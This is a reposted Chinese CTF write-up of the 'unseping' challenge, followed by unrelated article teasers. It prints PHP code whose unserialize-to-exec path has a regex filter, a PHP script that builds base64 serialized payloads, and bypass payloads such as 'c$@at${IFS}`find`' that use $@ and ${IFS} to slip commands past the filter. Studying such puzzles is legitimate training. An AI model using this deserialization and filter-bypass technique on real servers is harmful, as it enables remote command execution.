unseping

nnnd,这道题谁标的难度1!参考文章:江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)_江苏工匠杯unseping-CSDN博客

这是这道题的源码,一看exec和unserialize就是反序列化和命令执行,还有个正则应该还要绕过

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

简单讲一下call_user_func_array调用回调函数,大概就是这样,网上找的例子,本题中我猜测因为是在魔术方法里面,所以第一个参数array()里面类用伪变量$this替代了

(1)普通使用:

           function a($b, $c) {  

                echo $b; 

                echo $c; 

           } 

          call_user_func_array('a', array("111", "222")); 

          //输出 111 222

(2)调用类内部的方法:

         Class ClassA { 

                 function bc($b, $c) { 

                  $bc = $b + $c; 

                  echo $bc; 

                 } 

            } 

          call_user_func_array(array('ClassA','bc'), array("111", "222")); 

          //输出  333 

这个正则表达式解释如下

  • /: 正则表达式的开始和结束的分隔符。
  • (: 开始一个捕获组,用于将匹配的结果保存在结果数组中。
  • \|: 匹配一个垂直线字符"|"
  • |: 逻辑或操作符,用于匹配多个模式之一。
  • &: 匹配一个和字符"&"
  • ;: 匹配一个分号字符";"
  • : 匹配一个空格字符
  • \/: 匹配一个斜杠字符"/"
  • cat: 匹配字符串"cat"
  • flag: 匹配字符串"flag"
  • tac: 匹配字符串"tac"
  • php: 匹配字符串"php"
  • ls: 匹配字符串"ls"
  • ): 结束捕获组。
  • /: 正则表达式的结束符。

综上所述,该正则表达式将匹配字符串中的垂直线字符"|"、和字符"&"、分号字符";"、空格字符、斜杠字符"/",以及字符串"cat"、"flag"、"tac"、"php"、"ls"。

空格被过滤了,但是我们写命令的时候还需要空格,怎么办?

我只知道一个IFS空格,使用的时候写成${IFS}起到空格的作用。

上网查@是一个特殊变量,使用$@的形式起到空变量的作用,放在字符串中间绕过字符串过滤又不会对原字符串产生影响

魔术方法:

__construct() //创建对象时触发

__wakeup() //执行unserialize()时,先会调用这个函数

okk,到这里差不多读懂代码了,代码流程:将我们的base64编码并且序列化的数据经过post请求发送到PHP文件处理,代码首先接受数据然后base64解码反序列化,又因为wakeup这个魔术方法在反序列化前会被优先调用,所以执行wakeup方法:遍历关联数组args,将每个键对应的值用waf方法进行正则匹配,如果匹配通过后返回原字符串,否则打印hack,由此可以看出args存放的是系统命令这些。然后执行反序列化,对象被重新创建后无调用又被销毁,触发destruct魔术方法:in_array函数内容确定了method值为ping,然后call_user_func_array调用回调函数调用ping函数,将args数组内容作为ping函数的参数,然后exec执行系统命令,结果存到result,var_dump打印类型和值

上面的流程已经说的很详细了,我们先来试试水看看能不能执行命令

别忘了args是数组形式哦!

<?php
class ease
{private $method;private $args;function __construct($method, $args){$this->method = $method;$this->args = $args;}
}
$object = new ease('ping',array('id'));
$ser = serialize($object);
$ser = base64_encode($ser);
echo $ser;
?>

成功执行id命令

接下来看看当前目录下的文件,args传入参数变为array('l$@s'),正则匹配会匹配整个l$@s,但是$@是空变量,最后解析出来还是ls

flag文件是数组的第一个元素

find 查看当前及子目录下的所有文件,我们可以使用cat 直接查看当前目录下的文件内容,不需要再编码来回转了

payload:

array('c$@at${IFS}`find`'),使用反引号是因为会优先执行反引号里面的命令

成功读出flag!不懂多看一下我写的流程思路就明白了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/872384.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JS【详解】函数 (声明函数、调用函数、函数表达式、匿名函数、立即执行函数、箭头函数、内置函数、回调函数、私有函数、高阶函数、模拟函数重载)

函数用于封装一段具有特定功能代码&#xff0c;通过调用的形式执行。 每个函数都有返回值&#xff0c;无 return 语句时返回 undefined 声明函数 在浏览器中&#xff0c;在最外层声明的函数&#xff0c;都是 Window 对象的方法函数的声明会被提前&#xff1a;可以在函数声明之…

QThread和std::thread

在 Qt 中&#xff0c; 我们经常会用到多线程&#xff0c;这时候就需要纠结是使用 Qt 的 QThread 还是使用 C 标准库的 std::thread。 这里记录一下我自己的理解&#xff0c;先介绍一下 QThread 和 std::thread 的使用方法&#xff0c;对比一下他们的不同&#xff0c;最后说一下…

【Redis】集群

文章目录 一、集群是什么&#xff1f;二、 Redis集群分布式存储为什么redis集群的最大槽数是16384&#xff08;不太懂&#xff09;redis的集群主节点数量基本不可能超过1000个 三、 配置集群&#xff08;三主三从&#xff09;3.1 配置config文件3.2 启动六台redis3.2 通过redis…

理兔chat开发日记

1.注册 注册跟以前的差不多&#xff0c;我们将我们的验证码放在redis下&#xff0c;我们在注册的时候先判断我们输入的验证码是否正确 验证码成功后在我们的实现类中&#xff0c;我们先判断邮箱是否重复&#xff0c;不重复我们就继续注册 我们拥有联号注册的功能&#xff0c;就…

unity局部坐标和世界坐标角度介绍

在Unity中&#xff0c;局部坐标&#xff08;Local Coordinates&#xff09;和世界坐标&#xff08;World Coordinates&#xff09;是描述物体位置的两种不同方式&#xff1a; 局部坐标&#xff08;Local Coordinates&#xff09;&#xff1a; 局部坐标是相对于物体自身的坐标系…

Puppeteer 是什么以及如何在网络抓取中使用它 | 2024 完整指南

网页抓取已经成为任何处理网页数据提取的人都必须掌握的一项重要技能。无论你是开发者、数据科学家还是希望从网站收集信息的爱好者&#xff0c;Puppeteer都是你可以使用的最强大工具之一。本完整指南将深入探讨什么是Puppeteer以及如何有效地在网页抓取中使用它。 Puppeteer简…

日志的编写与线程池的结合

目录 一、认识日志 二、时间的等级划分 三、日志的输出端 3.1 保存至文件 四、日志的部分信息 4.1 日志等级 4.2 日志时间 五、加载日志 六、日志的宏编写 七、ThreadPool Log 一、认识日志 记录事件&#xff1a; 日志用于记录系统运行过程中发生的各种事件&…

Linux硬件中断(IRQ)的基础知识

目录 一、中断的概念1.1 什么是硬件中断1.2 中断类型二、中断处理的工作原理2.1 中断请求2.2 中断向量2.3 中断服务例程(ISR)2.4 上下文切换2.5 中断处理2.6 任务恢复三、中断处理的编程3.1 注册中断处理函数3.2 注销中断处理函数四、中断和系统性能4.1 中断风暴4.2 IRQ亲和性…

创作模板四【创作模板】

xxx【创作模板四】 前言推荐说明最后 前言 2023年7月7日 以下内容源自《【创作模板四】》 仅供学习交流使用 推荐 无 说明 大三下期末考试进行中 【最后】的文案&#xff1a; 当时期末复习总结的文章&#xff0c;很少有人点赞 确实是很失望&#xff0c;只能自娱自乐&…

数据库SQL Server时间函数Datetime

文章目录 SQL Server 提供了一系列用于处理日期和时间的函数&#xff0c;以下是一些常用的时间函数&#xff1a; GETDATE()&#xff1a;返回当前的日期和时间。 SELECT GETDATE();CURRENT_TIMESTAMP&#xff1a;与 GETDATE() 类似&#xff0c;返回当前的日期和时间。 SELECT…

CloudCone服务器2核1G一年只需15刀

CloudCone服务器博主本人已稳定使用一年多了&#xff0c;非常划算且稳定。2核1G一年才15&#xff0c;相比其他厂家2核动辄月付10左右的价格&#xff0c;cloudcone简直没有对手。 但是15刀这些划算的内容无法在官网直接找到。 博主这里记录 cloudcone.top 这个url&#xff0c;…

Linux Vim编辑器全攻略:从入门到精通

引言 简要介绍Vim编辑器的历史、地位及其在Linux及Unix系统中的广泛应用。强调Vim作为程序员和系统管理员的首选工具之一&#xff0c;其强大的文本编辑能力和高效的编辑模式。 Vim基础篇 安装Vim 介绍在不同Linux发行版上安装Vim的方法&#xff08;如使用apt-get、yum、dnf等…

elementui 日历组件el-calendar使用总结

功能&#xff1a; 1.日历可以周视图、月视图切换&#xff1b; 2.点击月视图中日期可以切换到对应周视图&#xff1b; 3.点击周视图查看当日对应数据&#xff1b; 4.周、月视图状态下&#xff0c;点击前后按钮&#xff0c;分别切换对应上下的周、月&#xff1b; 5.点击回到…

算法 —— 高精度(模拟)

目录 加法高精度 两个正整数相加 两个正小数相加 两正数相加 减法高精度 两个正整数相减 两个正小数相减 两正数相减 加减法总结 乘法高精度 两个正整数相乘 两个正小数相乘 乘法总结 加法高精度 题目来源洛谷&#xff1a;P1601 AB Problem&#xff08;高精&#x…

单片机外围设备-EEPROM

eeprom用iic通信。eeprom有几个特点需要关注&#xff1a; 1、可以单字节读写 2、eeprom按页划分存储&#xff0c;不同型号的eeprom的页大小不一致&#xff0c;往eeprom写数据时&#xff0c;如果写到了该页的末尾&#xff0c;会自动从该页的开头继续写&#xff0c;把之前的数据…

如何PR到别人仓库(指定分支,无废话)

如何PR到别人仓库&#xff08;指定分支&#xff09; 记录一下&#xff0c;之前都是直接master分支&#xff0c;现在记录如何pr到别人仓库的其他分支 首先进入别人仓库然后点击fork到自己仓库 步骤&#xff08;以博主自己一个例子为例&#xff09; &#xff08;1&#xff09;…

c++ primer plus 第16章string 类和标准模板库,16.1.3 使用字符串

c primer plus 第16章string 类和标准模板库,16.1.3 使用字符串 c primer plus 第16章string 类和标准模板库,16.1.3 使用字符串 文章目录 c primer plus 第16章string 类和标准模板库,16.1.3 使用字符串16.1.3 使用字符串程序清单16.3 hangman.cpp 16.1.3 使用字符串 现在&a…

【题目/训练】二叉树的创建遍历(递归非递归)

一、根据二叉树创建字符串 思路&#xff1a;在正常前序递归遍历的基础上&#xff0c;单独加上一个考虑到右子树为空的情况&#xff0c;如下&#xff1a;其结果为 1&#xff08;2&#xff08;4&#xff08;5&#xff09;&#xff08;6&#xff09;&#xff09;&#xff09;&…

android11为开机动画添加铃声(语音)

一、碰到的问题 1、第一次开机无铃声 2、开机时铃声和动画不同步&#xff0c;开头的铃声会丢失 3、开机时铃声/动画不能完全播放完 二、解决 以下为添加的patch /开机铃声不同步&#xff0c;语音第一段无声 diff --git a/media/libmediaplayerservice/MediaPlayerService…

馥郁珍藏:品味红酒的层次与细腻

在生活的点滴中&#xff0c;总有一些事物以其不同的魅力&#xff0c;让我们为之驻足&#xff0c;为之沉醉。红酒&#xff0c;便是其中之一。它不仅仅是一种饮品&#xff0c;更是一种情感的寄托&#xff0c;一种生活的艺术。今天&#xff0c;就让我们一起走进红酒的世界&#xf…